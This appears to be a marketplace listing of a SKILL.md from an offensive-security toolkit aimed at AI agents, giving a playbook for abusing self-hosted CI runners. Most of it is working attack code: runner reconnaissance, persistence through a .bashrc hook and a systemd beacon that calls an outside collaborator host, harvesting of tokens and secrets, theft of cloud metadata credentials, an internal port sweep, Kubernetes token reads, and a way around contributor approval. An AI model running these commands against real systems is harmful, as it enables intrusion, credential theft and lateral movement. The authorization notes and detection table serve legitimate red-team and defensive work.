Skip to main content

self-hosted-runner-abuse

Self-hosted runner abuse — non-ephemeral runner persistence, fork-PR job execution on self-hosted, runner-label targeting, secret/token theft from runner env, lateral movement from runner into internal network and cloud metadata services.

跳到安装

来源信息

仓库
BitterSecurity/Decepticon
最近来源活动
2026年6月1日 23:04
检测到的 SKILL.md 语言
英语
星标
5,565
分支
1,053

安装方式

默认使用会先检查来源的 Prompt;你也可以切换为直接命令,或下载本地副本。

检查来源文件

决定是否安装前,请先阅读 SKILL.md,以及 SkillsMP 当前展示的配套文件。

正在显示 SKILL.md

SKILL.md
来源说明 · 只读预览
name
self-hosted-runner-abuse
description
Self-hosted runner abuse — non-ephemeral runner persistence, fork-PR job execution on self-hosted, runner-label targeting, secret/token theft from runner env, lateral movement from runner into internal network and cloud metadata services.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"self-hosted runner github actions runner gitlab runner persistence lateral movement imds metadata internal network ephemeral runner label","tags":"ci-cd, self-hosted-runner, persistence, lateral-movement","mitre_attack":"T1078.004, T1133, T1554, T1021"}
# Self-Hosted Runner Abuse Self-hosted runners are attacker dreams: long-lived machines inside the target's network, with the build user's filesystem, often persistent between jobs, frequently reachable to internal services and cloud metadata. **Default GitHub policy on public repos is to NOT run workflows from first-time contributors without approval — but the gate is per-repo and frequently relaxed.** ## Recon — does the target use self-hosted? ```bash # 1. Workflow labels grep -rnE 'runs-on:\s*(\[\s*self-hosted|self-hosted)' <REPO>/.github/workflows/ # 2. Custom labels signal self-hosted runners ("linux-large", "internal", "gpu-a100") grep -rnE 'runs-on:\s*\[?[a-z0-9_-]+' <REPO>/.github/workflows/ \ | grep -vE 'ubuntu-(latest|20|22|24)|windows-(latest|20)|macos-(latest|13|14)' # 3. Public run history reveals runner hostnames gh run list --repo <OWNER>/<REPO> --limit 20 --json databaseId,name | jq -r '.[].databaseId' \ | while read id; do gh run view "$id" --repo <OWNER>/<REPO> --log 2>/dev/null \ | grep -iE 'Runner name|Runner group|Machine name'; done | sort -u # 4. Org-level runner registrations (auth required, but org members often have read) gh api "orgs/<OWNER>/actions/runners" --jq '.runners[] | {name,os,status,labels:[.labels[].name]}' ``` ## Default vs ephemeral | Mode | Behavior | Attacker upside | |---|---|---| | **Default (non-ephemeral)** | Same VM/container picks up the next job. `/home/runner/work/_temp/`, `~/.cache`, env from prior jobs may persist. | Persist files; reuse leaked creds; race the next job | | **Ephemeral** (`--ephemeral`) | Runner exits after one job; VM is destroyed | Per-job isolation; persistence requires escape to host | | **`actions/runner-images` self-hosted on K8s with ARC** | Pod per job, but cluster identity (`ServiceAccount`) is shared | Pivot to cluster API via projected token | ```bash # Inside a job — fingerprint the runner uname -a; id; whoami mount | grep -E '/home|/runner|overlay' ls -la /actions-runner /home/runner /opt/actions-runner 2>/dev/null env | grep -E 'RUNNER_|GITHUB_' | head # Ephemeral runners typically have RUNNER_TEMP wiped; non-ephemeral have leftover dirs ls -la "$RUNNER_TEMP/.." 2>/dev/null ``` ## Fork-PR execution on self-hosted ```yaml # DANGEROUS — fork PRs run on the org's self-hosted fleet on: pull_request jobs: test: runs-on: [self-hosted, linux, internal] steps: - uses: actions/checkout@v4 - run: make test ``` If the repo did not enable "Require approval for all outside collaborators", a fork PR with a poisoned `Makefile` (see `poisoned-pipeline-execution/SKILL.md`) gives RCE on the internal runner. **First-time-contributor approval is also bypassable**: contribute a trivial PR first, get it merged, then weaponize subsequent PRs as a returning contributor. ## Persistence on non-ephemeral runners ```bash # In the malicious job step RUNNER_BIN="$(dirname "$(which Runner.Listener 2>/dev/null || echo /actions-runner/run.sh)")" echo "Found runner at: $RUNNER_BIN" # 1. Drop a payload in a path the runner sources before next job mkdir -p "$HOME/.config" cat > "$HOME/.config/runner-helper.sh" <<'EOF' # Beacon — runs as the runner user on next shell-step entry nohup bash -c 'while true; do curl -s "https://<COLLAB>/beacon/$(hostname)"; sleep 3600; done' &>/dev/null & EOF # 2. Hook into bash via runner user's .bashrc — works for any step using a login shell grep -q runner-helper "$HOME/.bashrc" || echo 'source "$HOME/.config/runner-helper.sh"' >> "$HOME/.bashrc" # 3. systemd --user unit (if lingering enabled) mkdir -p "$HOME/.config/systemd/user" cat > "$HOME/.config/systemd/user/beacon.service" <<'EOF' [Unit] Description=research beacon [Service] ExecStart=/usr/bin/curl -s https://<COLLAB>/svc/%H Restart=always [Install] WantedBy=default.target EOF systemctl --user daemon-reload && systemctl --user enable --now beacon.service 2>/dev/null || true ``` **Stop**. In an authorized engagement, set the beacon TTL to one hit and document removal steps. Persistence proves the capability; do not actually persist. ## Token / secret theft from runner env ```bash # All secrets used in the current job are in env vars or files actions wrote env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_' | head ls -la "$RUNNER_TEMP" "$HOME/.docker" "$HOME/.aws" "$HOME/.kube" 2>/dev/null # GITHUB_TOKEN is mounted in env and as `.credential` for git cat "$HOME/work/_temp/_github_workflow/event.json" 2>/dev/null | head -20 git config --global --get-all credential.helper # Other jobs' artifacts may still be on disk on non-ephemeral runners find / -name 'event.json' -path '*_github_workflow*' 2>/dev/null find /tmp /var/tmp "$RUNNER_TEMP/.." -type f -newer /etc/hostname 2>/dev/null | head -50 ``` Cross-reference `cicd-secrets-exfil/SKILL.md` for masking-bypass and OIDC exchange once a token is in hand. ## Lateral movement from the runner ```bash # 1. Cloud metadata — runner is almost always on EC2/GCE/Azure VM curl -sH 'Metadata-Token: required' http://169.254.169.254/latest/meta-data/ # AWS IMDSv1 (often allowed even when v2 enforced for users) TOKEN=$(curl -sX PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' http://169.254.169.254/latest/api/token) curl -sH "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token' curl -sH 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' # 2. Internal network — runner is often on a private VPC subnet with reach to staging/prod ip route; cat /etc/resolv.conf # Quick TCP sweep with bash builtins (no nmap install needed) for ip in 10.0.0.{1..20}; do for p in 22 80 443 5432 6379 8080 9090; do (echo >/dev/tcp/$ip/$p) 2>/dev/null && echo "$ip:$p open" done done # 3. Kubernetes ServiceAccount (ARC / self-hosted on K8s) ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-12 ``` ## Runner-label targeting If the org has a label `gpu-a100` mapped to a specific physical host, crafting a workflow with `runs-on: [self-hosted, gpu-a100]` pins your job to that host. Useful to: - Target a specific build operator's machine (developer workstation runners are a pattern in some orgs). - Land on a runner with weaker egress controls (e.g. `windows-build-old` left from a migration). ```yaml # Reachability test — does the org let arbitrary fork-PRs target privileged labels? on: pull_request jobs: pin: runs-on: [self-hosted, prod-deploy] steps: [{ run: 'hostname; id; env | grep -i deploy' }] ``` ## Detection signatures | Signal | Source | |---|---| | Outbound DNS/HTTP from runner to non-allowlisted host | egress firewall / Suricata | | New `~/.bashrc` / systemd user unit on a non-ephemeral runner | host EDR (osquery, Falco) | | `runs-on:` self-hosted + `on: pull_request` (not `pull_request_target` w/ approval) | zizmor / octoscan | | First-time-contributor PR approved + immediate follow-up PR | GitHub Insights / org-level review | | IMDS access from a runner's job | VPC flow logs / cloud audit | ## Tools | Tool | Use | |---|---| | `gato-x runners` | Enumerates self-hosted runners across an org, identifies PPE targets | | `octoscan` | Flags self-hosted + untrusted-trigger combinations | | `runner-images` (GitHub) | Compare against the official ephemeral image to spot persistence diffs | | `osquery` / `falco` | Defender-side; useful to know what they see | ## Decision gate 1. Self-hosted runner engagements have higher blast radius than hosted — get explicit written authorization for **lateral movement** and **metadata access**, not just CI execution. 2. Do not exfil cloud creds. `curl -s 169.254.169.254/.../security-credentials/` and **print first 8 chars only**. 3. Remove any persistence (`.bashrc` entry, systemd unit, dropped files) before declaring done. Include cleanup commands in the report. 4. Never pivot to a machine outside the runner's subnet without separate authorization. ## References - GitHub docs — "About self-hosted runners" (limitations + warnings) - Praetorian — "Self-Hosted GitHub Runners Are Backdoors" - Adnan Khan — runner-takeover writeups (Tesla, Microsoft, et al.) - `actions-runner-controller` (ARC) — ephemeral runner pattern on K8s
在 GitHub 查看